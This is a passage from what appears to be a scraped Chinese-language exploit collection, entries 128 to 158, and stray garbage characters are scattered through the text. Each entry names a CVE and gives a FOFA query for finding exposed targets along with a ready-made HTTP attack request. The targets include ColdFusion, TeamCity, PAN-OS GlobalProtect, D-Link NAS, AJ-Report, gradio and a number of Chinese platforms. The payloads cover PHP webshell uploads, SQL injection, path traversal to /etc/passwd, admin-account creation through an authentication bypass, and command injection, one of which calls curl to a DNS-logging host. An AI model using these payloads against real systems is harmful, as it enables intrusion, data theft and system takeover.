) d( e3 t/ w7 H" _2 d
  M% |/ N5 B/ x% \; H  {# c+ j' z

! f* @* x  w1 B; y( M7 s- l128. Adobe ColdFusion 反序列化
& U) c, ]) e5 T: _. Q) rCVE-2023-38203
Adobe ColdFusion版本2018u17（以及早期版本）、2021u7（以及早期版本）和2023u1（以及早期版本）
9 [# o! t/ F' h& u( c+ j, pFOFA：app="Adobe-ColdFusion"
PAYLOAD
0 t1 Y0 z* q" O3 W& e
8 W9 @+ z' O: _2 ?) U129. Adobe ColdFusion 任意文件读取
CVE-2024-20767
; ~" ^  b8 Y2 j: ?+ g$ [8 FFOFA：app="Adobe-ColdFusion" && title=="Error Occurred While Processing Request"
第一步，获取uuid
8 h4 J+ Z5 X( u" _( yGET /CFIDE/adminapi/_servermanager/servermanager.cfc?method=getHeartBeat HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
Accept: */*
  g! a- T3 j3 w1 q, kAccept-Encoding: gzip, deflate
, R' a; g& L. ?Connection: close
$ a& M: d4 `8 Q5 b: w( n5 e, h: }
- Y5 G6 }9 h0 L& a8 g6 }$ o  {% F
第二步，读取/etc/passwd文件
GET /pms?module=logging&file_name=../../../../../../../etc/passwd&number_of_lines=100 HTTP/1.1
Host: x.x.x.x
0 `; S3 N! l; D1 }2 [; Z$ PUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36
+ |1 n+ l/ r! Q, z# N# Y: u; a) hAccept: */*
Accept-Encoding: gzip, deflate
/ {$ X% H5 N! ~" O6 p3 N; L. I0 o% HConnection: close
) O; _4 {9 Q+ e, E: ?( H2 Duuid: 85f60018-a654-4410-a783-f81cbd5000b9


% u" P' Q5 I7 u" v% u130. Laykefu客服系统任意文件上传
. C2 U& z2 B: d6 ?5 x# v5 j- |! V0 JFOFA：icon_hash="-334624619"
POST /admin/users/upavatar.html HTTP/1.1
Host: 127.0.0.1
2 W- S6 S' _8 J9 ^7 C1 o) }- h; UAccept: application/json, text/javascript, */*; q=0.01
) A. k; `0 D; ~5 R: g. OX-Requested-With: XMLHttpRequest
# T4 O+ @/ N3 Q$ i  IUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/107.0.0.0 Safari/537.36 Edg/107.0.1418.26
3 C' Z  ^+ ]) mContent-Type: multipart/form-data; boundary=----WebKitFormBoundary3OCVBiwBVsNuB2kR
# F, _4 {+ h- J9 A1 P5 z) WAccept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
3 ^) V% V# p( j& [" c: E& ]# LCookie: user_name=1; user_id=3
- A) v* J% B, U, C- C' o1 RConnection: close

+ e2 n  I4 |1 x$ r------WebKitFormBoundary3OCVBiwBVsNuB2kR
8 O+ Y$ B) ^! ^  [+ V. ]9 E& N0 pContent-Disposition: form-data; name="file"; filename="1.php"
' o- U8 ?; u+ o8 v  {( ~6 nContent-Type: image/png

1 }3 d9 s1 S0 a  E<?php phpinfo();@eval($_POST['sec']);?>
! k. D. v: h1 A8 ?; w8 G------WebKitFormBoundary3OCVBiwBVsNuB2kR--
& }+ D$ ^6 h3 f) Y8 [

131. Mini-Tmall <=20231017 SQL注入
FOFA：icon_hash="-2087517259"
后台地址：http://localhost:8080/tmall/admin
. P* `: j) j8 xhttp://localhost:8080/tmall/admin/user/1/1?orderBy=7,if((length(database())=11),SLEEP(3),0)

132. JetBrains TeamCity 2023.11.3 及以下版本存在身份验证绕过
CVE-2024-27198
FOFA：body="Log in to TeamCity"
9 F* k: x" C, e2 r, U0 E1 qPOST /pwned?jsp=/app/rest/users;.jsp HTTP/1.1
Host: 192.168.40.130:8111
6 M5 b) t- \! |% x7 t8 zUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
9 F. U( X0 \; EAccept: */*
Content-Type: application/json
* p4 C# I; t0 b4 j- \, ?" O* e7 L9 I( t: g/ NAccept-Encoding: gzip, deflate
7 X5 g) r/ v4 z% H2 j1 `- Y
{"username": "用户名", "password": "密码", "email": "test@mydomain.com", "roles": {"role": [{"roleId": "SYSTEM_ADMIN", "scope": "g"}]}}
$ n( \7 |  G0 ~' e+ y
3 z1 Z; B( N1 X" b$ q
1 ^) z( H' g: S1 q, z2 J" z% E, OCVE-2024-27199
  `3 @, b* i  ]) q- o1 |/ C: }/res/../admin/diagnostic.jsp
; S1 M8 [% Q" _) [/.well-known/acme-challenge/../../admin/diagnostic.jsp
6 ^7 I* |  u! B. l* L. Y9 D# Q/update/../admin/diagnostic.jsp
- q, b$ u3 d: x' Q, m6 H. j

8 n7 W- V, Q, T9 W3 Q+ p& TCVE-2024-27198-RCE.py

3 T) I; I% Y' Y4 U" Z133. H5 云商城 file.php 文件上传
FOFA：body="/public/qbsp.php"
: _+ [' K# D( h7 fPOST /admin/commodtiy/file.php?upload=1 HTTP/1.1
# E) j$ _$ i  W1 ?Host: your-ip
! |# X$ S" ]8 y! v. M. xUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/537.36(KHTML, like Gecko) Chrome/93.0.4577.63 Safari/537.36
0 p) Y" g% k# ]8 K; ?Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryFQqYtrIWb8iBxUCx
4 h! I4 f- \+ ?" c
- F% \7 P1 }# V& ]& {# F------WebKitFormBoundaryFQqYtrIWb8iBxUCx
4 Z) U: n$ N$ B( C6 Q+ v; p$ IContent-Disposition: form-data; name="file"; filename="rce.php"
Content-Type: application/octet-stream
1 h" C  v+ q" Y# C5 i/ H
<?php system("cat /etc/passwd");unlink(__FILE__);?>
------WebKitFormBoundaryFQqYtrIWb8iBxUCx--

  x& N+ H4 R6 y  F- F$ e8 \

134. 网康NS-ASG应用安全网关index.php sql注入
CVE-2024-2330
- P* E3 D- s0 o0 F0 K, kNetentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
9 F. g, R/ D5 yPOST /protocol/index.php HTTP/1.1
Host: x.x.x.x
Cookie: PHPSESSID=bfd2e9f9df564de5860117a93ecd82de
2 Z' ?0 F8 l$ q  R: {User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/110.0
3 g) n6 T2 p9 _- \/ i/ @; F% tAccept: */*
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate
. O6 J8 y, N7 u; s& r5 f7 ~Sec-Fetch-Dest: empty
8 |/ h" v$ O7 m3 |Sec-Fetch-Mode: cors
Sec-Fetch-Site: same-origin
( {! k" ^+ F. n' a+ jTe: trailers
Connection: close
Content-Type: application/x-www-form-urlencoded
Content-Length: 263

- N6 U' T# U" o0 [6 _: tjsoncontent={"protocolType":"addmacbind","messagecontent":["{\"BandIPMacId\":\"1\",\"IPAddr\":\"eth0'and(updatexml(1,concat(0x7e,(select+version())),1))='\",\"MacAddr\":\"\",\"DestIP\":\"\",\"DestMask\":\"255.255.255.0\",\"Description\":\"Sample+Description\"}"]}
3 S$ B2 o; k/ D, a. |
" ?# @6 a7 m# L! M/ w( O
135. 网康NS-ASG应用安全网关list_ipAddressPolicy.php sql注入
CVE-2024-2022
7 ~8 Z8 E# \; H% r  }  Y( i6 k. ^Netentsec NS-ASG Application Security Gateway 6.3版本
FOFA：app="网康科技-NS-ASG安全网关"
GET /admin/list_ipAddressPolicy.php?GroupId=-1+UNION+ALL+SELECT+EXTRACTVALUE(1,concat(0x7e,(select+md5(102103122)),0x7e)) HTTP/1.1
Host: x.x.x.x
& g1 p: J& m3 e& y( |  u- v' WUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
5 [+ v& Z" ?7 s$ GAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
7 b. ?  V% V! NConnection: close

+ \0 S2 I- d$ `. g
136. NextChat cors SSRF
CVE-2023-49785
FOFA：title="NextChat"
7 O9 `5 @) [; M5 W' G  D- IGET /api/cors/http:%2f%2fnextchat.kr9dqoau.dnslog.pw%23 HTTP/1.1
" F0 _" {2 i% U: aHost: x.x.x.x:10000
7 H8 {4 ~, u7 M% L/ nUser-Agent: Mozilla/5.0 (Windows NT 6.1; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
Connection: close
Accept: */*
" x  ^" H& F2 t; l2 jAccept-Language: en
0 A7 J. N: ]2 }+ j! v5 a4 K1 IAccept-Encoding: gzip
6 {. x5 @  r, _# |' A
2 \, |/ G$ V) s0 g7 T
137. 福建科立迅通信指挥调度平台down_file.php sql注入
CVE-2024-2620
4 r5 j6 j( g! JFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/down_file.php?uuid=1%27%20AND%20(SELECT%205587%20FROM%20(SELECT(SLEEP(5)))pwaA)%20AND%20%27dDhF%27=%27dDhF HTTP/1.1
Host: x.x.x.x
# C7 u0 R5 ]) J5 BUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
5 @+ Y/ R/ y- B  v" F. DAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
$ m0 l0 P/ B( K! [1 Z7 m: @Connection: close
Cookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=uksj
) ?2 u5 _+ C7 `Upgrade-Insecure-Requests: 1

0 I$ w6 d! m1 D6 K6 ^+ |7 k0 s% J
138. 福建科立讯通信指挥调度平台pwd_update.php sql注入
, d1 U3 p  e! g2 x8 H$ A* i# {CVE-2024-2621
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/user/pwd_update.php?usr_number=1%27%20AND%20(SELECT%207872%20FROM%20(SELECT(SLEEP(5)))DHhu)%20AND%20%27pMGM%27=%27pMGM&new_password=1&sign=1 HTTP/1.1
: n1 o8 n9 j# PHost: x.x.x.x
$ ]& Y; M& K  H- f2 A5 t0 kUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
1 Z9 w9 Y7 x) `; L& j8 JAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
" U8 w3 K; I8 y) Z1 z: z* g, cAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
7 k( B/ q- m9 r* PAccept-Encoding: gzip, deflate, br
Connection: close
' i& w$ Q3 Z) w7 p- r6 U. m7 i; ~Upgrade-Insecure-Requests: 1

  y: k' e" [6 _- T6 c
139. 福建科立讯通信指挥调度平台editemedia.php sql注入
CVE-2024-2622
FOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
* d% y. ?& }9 w0 W9 Z  _1 RGET /api/client/editemedia.php?enterprise_uuid=1%27%20AND%20(SELECT%203257%20FROM%20(SELECT(SLEEP(5)))JPVs)%20AND%20%27gDyM%27=%27gDyM HTTP/1.1
Host: x.x.x.x
& ?* h# _* o' |/ z8 O9 NUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
; P. u  a) G, Q1 l) WAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
Accept-Encoding: gzip, deflate, br
Connection: close
3 G1 t) ^# c9 W* X$ Q# bCookie: PHPSESSID=d62411cd4ada228583bbcae45f099567; authcode=cybk
Upgrade-Insecure-Requests: 1

$ M- G$ F& @5 V
140. 福建科立讯通信指挥调度平台get_extension_yl.php sql注入
8 e# m6 G+ i( h4 OCVE-2024-2566
) O" a- o! t0 y' E9 Z% ]: q6 XFOFA：body="app/structure/departments.php" || app="指挥调度管理平台"
GET /api/client/get_extension_yl.php?imei=1%27%20AND%20(SELECT%207545%20FROM%20(SELECT(SLEEP(5)))Zjzw)%20AND%20%27czva%27=%27czva&timestamp=1&sign=1 HTTP/1.1
Host: x.x.x.x
* l5 g2 e2 e# c) k) G+ s( b* fUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:123.0) Gecko/20100101 Firefox/123.0
2 a% ?7 _. `" N2 g# ~Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
2 w5 j! p( ?) w/ gAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
" ~: s4 w. e0 }! d0 jAccept-Encoding: gzip, deflate, br
Connection: close
Cookie: authcode=h8g9
3 x4 j, M# p7 cUpgrade-Insecure-Requests: 1


141. 建科立讯通信指挥调度管理平台 ajax_users.php SQL注入
/ H" f* s8 y, z( _$ K  R1 T. QFOFA：body="指挥调度管理平台"
& k) ]& }3 T4 \# z; i' g$ z% PPOST /app/ext/ajax_users.php HTTP/1.1
, j/ P8 P/ ?* E6 R) U, gHost: your-ip
User-Agent: Mozilla/5.0 (Windows NT 5.1; rv:5.0) Gecko/20100101 Firefox/5.0 info
Content-Type: application/x-www-form-urlencoded
* r! k3 `9 n8 o4 K% v
& v% o3 ^- J: g
3 }% W7 X- h* L+ ^9 \1 q8 y2 V2 zdep_level=1') UNION ALL SELECT NULL,CONCAT(0x7e,md5(1),0x7e),NULL,NULL,NULL-- -
$ ]# X6 f) O/ Q( T+ A+ O  {3 N
  Y- E7 O" X! a
142. CMSV6车辆监控平台系统中存在弱密码
CVE-2024-29666
& y  i; j; q+ y( qFOFA：body="/808gps/"
1 u  Y1 [# ]) B" ?4 tadmin/admin
143. Netis WF2780 v2.1.40144 远程命令执行
CVE-2024-25850
- h9 T5 ^9 J# g! ~; R# WFOFA：title='AP setup' && header='netis'
PAYLOAD
/ K& w4 M# U$ W( Y+ a
" U3 @# {" d' }) H6 W- Y144. D-Link nas_sharing.cgi 命令注入
FOFA：app="D_Link-DNS-ShareCenter"
system参数用于传要执行的命令
  b* L5 C( A" }$ _GET /cgi-bin/nas_sharing.cgi?user=mydlinkBRionyg&passwd=YWJjMTIzNDVjYmE&cmd=15&system=aWQ= HTTP/1.1
Host: x.x.x.x
4 B2 m% }" z( Z8 i  t+ c6 ]+ U, BUser-Agent: Mozilla/5.0 (Windows NT 6.1; Win64; x64; rv:47.0) Gecko/20100101 Firefox/47.0
* B% p! Y$ n/ o# l( mConnection: close
8 i% j6 F- G2 LAccept: */*
Accept-Language: en
Accept-Encoding: gzip


145. Palo Alto Networks PAN-OS GlobalProtect 命令注入
CVE-2024-3400
FOFA：icon_hash="-631559155"
6 N5 f# v5 ]: C! BGET /global-protect/login.esp HTTP/1.1
Host: 192.168.30.112:1005
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
. e0 }8 I. j4 K. _1 g! t, qConnection: close
- `7 G! M. U3 z: LCookie: SESSID=/../../../opt/panlogs/tmp/device_telemetry/minute/hellothere226`curl${IFS}dnslog地址`;
Accept-Encoding: gzip


146. MajorDoMo thumb.php 未授权远程代码执行
CNVD-2024-02175
FOFA：app="MajordomoSL"
) U* d: d- k) k, F2 ?GET /modules/thumb/thumb.php?url=cnRzcDovL2EK&debug=1&transport=%7C%7C+%28echo+%27%5BS%5D%27%3B+id%3B+echo+%27%5BE%5D%27%29%23%3B HTTP/1.1
Host: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/92.0.4515.159 Safari/537.36 Edg/92.0.902.84
Accept-Charset: utf-8
; \: `5 Y+ m/ g* M; i7 WAccept-Encoding: gzip, deflate
Connection: close
4 g( x, h  k, X) z5 N* M$ k  v, p( R( J
/ ?( @- L' Y9 d$ r+ W8 J' P
147. RaidenMAILD邮件服务器v.4.9.4-路径遍历
CVE-2024-32399
FOFA：body="RaidenMAILD"
4 G6 l2 t+ R$ D7 [. VGET /webeditor/../../../windows/win.ini HTTP/1.1
) e9 Y8 o5 u3 x% nHost: 127.0.0.1:81
, M, }8 |% V' f7 fCache-Control: max-age=0
& `8 T* P4 b( i- `9 M& OConnection: close
% d7 ~5 `( |* b7 f! Z% e, ~
7 C, R% }% A) O- i* K& e5 {4 }9 m
3 g8 i  J! x3 {) A" ?7 c148. CrushFTP 认证绕过模板注入
CVE-2024-4040
2 @9 {( J2 }# _. L* e+ j# yFOFA：body="CrushFTP"
7 \/ {0 B1 d" O; ^4 @- D& XPAYLOAD
& o+ U9 y: V; C, N0 |4 u6 T  b
6 i. @  c, `3 o, }2 C149. AJ-Report开源数据大屏存在远程命令执行
FOFA：title="AJ-Report"

POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
2 |: U4 ^: Y+ p" M) F! ]; }; EHost: x.x.x.x
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
9 A( s0 `7 {, L4 u% O- j& f  TAccept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
* p& H. o3 b3 ~% v; N% O+ m" b2 O! ^3 _Accept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
! B5 f/ L# s" `$ x& B* d4 A8 \Connection: close

{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"ipconfig\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

# c& ?" v& E1 D. e: ]150. AJ-Report 1.4.0 认证绕过与远程代码执行
* \$ M+ T( i1 i3 ^; z1 iFOFA：title="AJ-Report"
POST /dataSetParam/verification;swagger-ui/ HTTP/1.1
; L' z2 S) }' P$ F$ }Host: x.x.x.x
# k5 w. F0 w1 D! Q% A/ IUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/121.0.0.0 Safari/537.36
' m3 _0 n! c  c/ o, }! ]. j' ^Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
; C6 p/ p/ E  jAccept-Encoding: gzip, deflate, br
Accept-Language: zh-CN,zh;q=0.9
Content-Type: application/json;charset=UTF-8
Connection: close
+ h7 W7 T# e# CContent-Length: 339

: Z7 h/ Q! r8 H- r8 l- M7 f{"ParamName":"","paramDesc":"","paramType":"","sampleItem":"1","mandatory":true,"requiredFlag":1,"validationRules":"function verification(data){a = new java.lang.ProcessBuilder(\"id\").start().getInputStream();r=new java.io.BufferedReader(new java.io.InputStreamReader(a));ss='';while((line = r.readLine()) != null){ss+=line};return ss;}"}

" b2 d+ n0 z$ A$ O
151. AJ-Report 1.4.1 pageList sql注入
& i( U; {: i6 O- S! A9 \- k8 mFOFA：title="AJ-Report"
GET /;swagger-ui/dataSource/pageList?showMoreSearch=false&pageNumber=1&pageSize=10 HTTP/1.1
7 J8 ]5 }8 E" ?Host: x.x.x.x
User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
. i# C1 w  Z) Q6 O/ \, LConnection: close
Accept-Encoding: gzip


+ F0 `! f4 \' B4 Q9 N) @' b152. Progress Kemp LoadMaster 远程命令执行
  u5 e& O' B) r) h( ^. I! ]CVE-2024-1212
LoadMaster <= 7.2.59.2 (GA)
# B8 Q# w8 {7 |/ c/ R/ U& ?LoadMaster<=7.2.54.8 (LTSF)
" k; [8 X7 I1 I# A0 B+ fLoadMaster <= 7.2.48.10 (LTS)
FOFA：body="LoadMaster"
4 h7 S3 L1 g& ^! HJztsczsnOmRvZXNub3RtYXR0ZXI=是';ls;':doesnotmatter的base64编码
GET /access/set?param=enableapi&value=1 HTTP/1.1
Host: x.x.x.x
+ N- \! q$ x: X- q* U1 YUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_0) AppleWebKit/604.1 (KHTML, like Gecko) Version/9.1.2 Safari/604.1
7 L3 F$ A2 T# w0 O) GConnection: close
Accept: */*
Accept-Language: en
Authorization: Basic JztsczsnOmRvZXNub3RtYXR0ZXI=
7 `3 \- F! P* o' n/ pAccept-Encoding: gzip
1 Q5 B2 V4 }/ T

153. gradio任意文件读取
CVE-2024-1561FOFA：body="__gradio_mode__"
第一步，请求/config文件获取componets的id
0 d& v4 I2 J6 @& M) F9 [http://x.x.x.x/config

4 L) J) k% C& ^( T6 t
7 l: z' ~) k" N, R8 ^) [第二步，将/etc/passwd的内容写入到一个临时文件
8 V, m& D7 T9 {) y, @$ Z8 V$ sPOST /component_server HTTP/1.1
Host: x.x.x.x
# h+ p! p% M; I! a% y% yUser-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10_15_7) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/14.1.3 Safari/605.1.1514.1.3 Ddg/14.1.3
" X7 j: v- M7 v. GConnection: close
Content-Length: 115
Content-Type: application/json
Accept-Encoding: gzip
" n% q5 p+ Z- Q7 B/ k% S
. }+ b( ~0 u5 Q$ w" A% v0 `{"component_id": "1","data": "/etc/passwd","fn_name": "move_resource_to_block_cache","session_hash": "aaaaaaaaaaa"}


' i0 b! [/ S3 c' F第三步访问
http://x.x.x.x/file=/tmp/gradio/ ... 8cdf49755073/passwd
2 e0 ~/ ?  M( I
; t' k2 L: Q# S4 D7 h
154. 天维尔消防救援作战调度平台 SQL注入
CVE-2024-3720FOFA：body="天维尔信息科技股份有限公司" && title=="登入"
; j" @5 A) Q& e9 E# R: [3 z2 mPOST /twms-service-mfs/mfsNotice/page HTTP/1.1
$ c4 s; V, z& T* A! h3 Q1 qHost: x.x.x.x
Content-Length: 106
1 |: E3 }8 Q/ D) _4 P3 U( H4 ZCache-Control: max-age=0
- R3 e  D4 J7 r; RUpgrade-Insecure-Requests: 1
: m, f  ?1 l- _' I9 c& A: P1 uOrigin: http://x.x.x.x
: H3 \, b- L* m  iContent-Type: application/json
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/118.0.0.0 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
; w$ h& |6 @! g% \- ]Referer: http://x.x.x.x/twms-service-mfs/mfsNotice/page
+ P* S" A9 g- r* |1 HAccept-Encoding: gzip, deflate
! \  T/ `& p5 |$ DAccept-Language: zh-CN,zh;q=0.9,en-US;q=0.8,en;q=0.7
1 S; y. d; v6 @1 j  R0 SConnection: close

1 G# e  n2 M$ I! f* b{"currentPage":1,"pageSize":19,"query":{"gsdwid":"1f95b3ec41464ee8b8f223cc41847930') AND 7120=(SELECT 7120 FROM PG_SLEEP(5)) AND ('dZAi'='dZAi"},"hgubmt748n4":"="}
8 N+ f, Y% I- t7 E4 Y8 |
+ o8 y# B0 _( ]6 l& L  x
155. 六零导航页 file.php 任意文件上传
CVE-2024-34982
) \7 ]" R4 B$ m; XFOFA：title=="上网导航 - LyLme Spage"
POST /include/file.php HTTP/1.1
, ~" Y8 E* D6 t1 p4 V+ Q) KHost: x.x.x.x
( E7 H( w" C# oUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:125.0) Gecko/20100101 Firefox/125.0
. b, a2 i) x) S+ J; I9 z3 {8 `Connection: close
Content-Length: 232
3 t7 Z5 e) \* K- m2 V8 qAccept: application/json, text/javascript, */*; q=0.01
3 ^( j. S$ t- w+ @Accept-Encoding: gzip, deflate, br
3 v+ H$ P, ]/ @( QAccept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
' J* [2 L1 I. i3 ^1 `Content-Type: multipart/form-data; boundary=---------------------------qttl7vemrsold314zg0f
' [# h" I1 g( z/ @  {X-Requested-With: XMLHttpRequest
7 W  W9 `8 X9 t& \- |" R% V# p2 d, D; v
/ c% q4 L/ s7 W3 q# b' F1 ^9 i-----------------------------qttl7vemrsold314zg0f
Content-Disposition: form-data; name="file"; filename="test.php"
Content-Type: image/png

; a6 ~9 @; a$ B% ^<?php phpinfo();unlink(__FILE__);?>
; D' W) a. s. [$ d, `/ ]-----------------------------qttl7vemrsold314zg0f--

' A9 z) @7 t4 S( j1 y- Q5 z9 @
! r$ r3 p! F  F. d5 }* Z; j访问回显文件http://x.x.x.x/files/upload/img_664ab7fd14d2c.php

& E8 U/ {* X- g( _' k9 r156. TBK DVR-4104/DVR-4216 操作系统命令注入
" Y# E( T3 ~7 O% ^CVE-2024-3721
FOFA："Location: /login.rsp"
·TBK DVR-4104
·TBK DVR-4216
+ B7 A+ U2 K  u% {  ]curl "http://<dvr_host>:<port>/device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=<URL_ENCODED_SHELL_COMMAND>" -H "Cookie: uid=1"


# a, u3 o# X) WPOST /device.rsp?opt=sys&cmd=___S_O_S_T_R_E_A_MAX___&mdb=sos&mdc=echo%3B%20echo%20asrgkjh0%20%3E%20%2Fvar%2Fexample.txt%3B%20ls%20-l%20%2Fvar%3B%20echo%20----------------%3B%20cat%20%2Fvar%2Fexample.txt%3B HTTP/1.1
Host: x.x.x.x
: C; I# P5 @* u$ CUser-Agent: Mozilla/5.0 (Macintosh;T2lkQm95X0c= Intel Mac OS X 10_14_3) AppleWebKit/605.1.15 (KHTML, like Gecko) Version/12.0.3 Safari/605.1.15
! L3 F  f& f% nConnection: close
Content-Length: 0
Cookie: uid=1
0 J4 |* T* U; [6 {/ D, GAccept-Encoding: gzip


: v% o* G: R1 q1 P9 \4 a2 V7 V157. 美特CRM upload.jsp 任意文件上传
" [% p! B  o7 l5 w" V0 e" F' a: y6 OCNVD-2023-06971
- I  }& e( c$ O/ D5 qFOFA：body="/common/scripts/basic.js"
- ?$ l9 H" b3 ~: Z# m% V8 SPOST /develop/systparam/softlogo/upload.jsp?key=null&form=null&field=null&filetitle=null&folder=null HTTP/1.1
Host: x.x.x.x
' L2 ]) {+ d5 G7 Y6 AUser-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/124.0.0.0 Safari/537.36
9 s3 J9 i/ N4 A  N* \% k& aContent-Length: 709
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Accept-Encoding: gzip, deflate
# r: w" ?( l7 V5 v* y! J2 uAccept-Language: zh-CN,zh;q=0.9
6 p. h( h9 G: M, a& GCache-Control: max-age=0
; [- v: V4 f9 ]' \" X4 {Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundary1imovELzPsfzp5dN
' X6 ^8 [5 W% n, N: g7 VUpgrade-Insecure-Requests: 1
  k4 d: f& ^, C4 @" u
9 k4 t4 q9 x0 K3 p* Z% @- \9 U' ]------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="file"; filename="kjldycpvjrm.jsp"
Content-Type: application/octet-stream

nyhelxrutzwhrsvsrafb
------WebKitFormBoundary1imovELzPsfzp5dN
  T5 g) [! Q: V' {5 b. k! R* b. FContent-Disposition: form-data; name="key"
' b7 U. y, I% |1 m3 z2 p( x) q  M6 p
null
1 Z! i1 s, k. I------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="form"
# p" u# M4 b/ n
! a- h+ q3 |" z7 o1 D- T- \null
* V+ `' Q+ Q, h! o' E. m/ P------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="field"
! b: T2 j  o# R
6 U9 @: o! A" ynull
------WebKitFormBoundary1imovELzPsfzp5dN
/ Q: P" w- `/ w% j; t& g% f/ a% rContent-Disposition: form-data; name="filetitile"
0 |  p6 @$ \  y: X: ]/ Z( G
! V# q/ Q2 M0 d0 h4 g( Y# g5 hnull
------WebKitFormBoundary1imovELzPsfzp5dN
Content-Disposition: form-data; name="filefolder"
  R" F* h! T6 _! i# y
0 u4 O' I4 U% Q+ J3 x/ `9 [null
6 Q0 y0 A& _+ \0 m/ K------WebKitFormBoundary1imovELzPsfzp5dN--


8 ?" P+ n) A9 |2 Fhttp://x.x.x.x/userfile/default/userlogo/kjldycpvjrm.jsp

158. Mura-CMS-processAsyncObject存在SQL注入
CVE-2024-32640
